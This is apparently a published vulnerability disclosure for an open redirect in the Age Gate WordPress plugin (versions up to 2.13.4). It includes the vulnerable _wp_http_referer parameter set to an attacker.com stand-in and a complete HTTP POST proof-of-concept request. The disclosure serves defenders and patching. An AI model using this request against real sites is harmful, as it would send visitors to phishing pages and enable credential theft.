WordPress Age Gate 2.13.4 Open Redirect

`# Exploit Title: URL Redirection to Untrusted Site ('Open Redirect') Age  
Gate Wordpress Plugin <= 2.13.4  
# Date: 11/27/2020  
# Exploit Author: Ilca Lucian Florin  
# Vendor Homepage: https://agegate.io/  
# Software Link: https://wordpress.org/plugins/age-gate/  
# Version: <= 2.13.4  
# Tested on: Latest Version of Desktop Web Browsers: Chrome, Firefox,  
Microsoft Edge  
# CVE: Waiting...  
  
A web application accepts a user-controlled input that specifies a link to  
an external site, and uses that link in a Redirect. This simplifies  
phishing attacks. An http parameter may contain a URL value and could cause  
the web application to redirect the request to the specified URL. By  
modifying the URL value to a malicious site, an attacker may successfully  
launch a phishing scam and steal user credentials. Because the server name  
in the modified link is identical to the original site, phishing attempts  
have a more trustworthy appearance. The impacts can be many, and vary from  
the theft of information and credentials to the redirection to malicious  
websites containing attacker-controlled content, which in some cases even  
cause XSS attacks. So even though an open redirection might sound harmless  
at first, the impacts of it can be severe should it be exploitable.  
  
An Open Redirection is when a web application or server uses an unvalidated  
user-submitted link to redirect the user to a given website or page. Even  
though it seems like a harmless action to let a user decide to which page  
he wants to be redirected, such technique if exploited can have a serious  
impact on the application security, especially when combined with other  
vulnerabilities and tricks.  
  
Vulnerable parameter is: _wp_http_referer=http://attacker.com  
  
# Example of burp request #  
  
POST /wp-admin/admin-post.php HTTP/1.1  
Host: website.com  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101  
Firefox/78.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 189  
Origin: https://website.com  
Connection: close  
Referer: https://website.com/  
Cookie: wordpress_sec_5fabc=editor%7C1606490639%b%abc;  
__cfduid=def4624292458dcfae5008c89bb76b3ed1606317827; ftc_post_view_4716=1;  
wordpress_test_cookie=WP%20Cookie%20check;  
wordpress_logged_in_123=editor%%%abc;  
wp-wpml_current_admin_language_d41d8cd98f00b204e9800998ecf8427e=mk;  
wfwaf-authcookie-abc=12%7Ceditor%abc; tk_ai=woo%;  
wp-settings-time-12=1606317841; wp-wpml_current_language=en;  
ftc_post_view_934=1; _ga=GA1.2.; _gid=GA1.2.; _gat=1  
Upgrade-Insecure-Requests: 1  
  
age_gate%5Bd%5D=10&age_gate%5Bm%5D=10&age_gate%5By%5D=1990&age_gate%5Bremember%5D=1&age_gate%5Bage%5D=TVRnPQ%3D%3D&action=age_gate_submit&age_gate%5Bnonce%5D=48f2b89fed&_wp_http_referer=  
https://google.ro  
  
Demo:  
  
1. https://ibb.co/1K9MhhY  
2. https://ibb.co/xSYQjZm  
3. https://ibb.co/TMbS9yL  
  
C.V.S.S Score: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L / 7.1 (High)  
  
There are over 20.000 wordpress websites using this plugin at this moment.  
`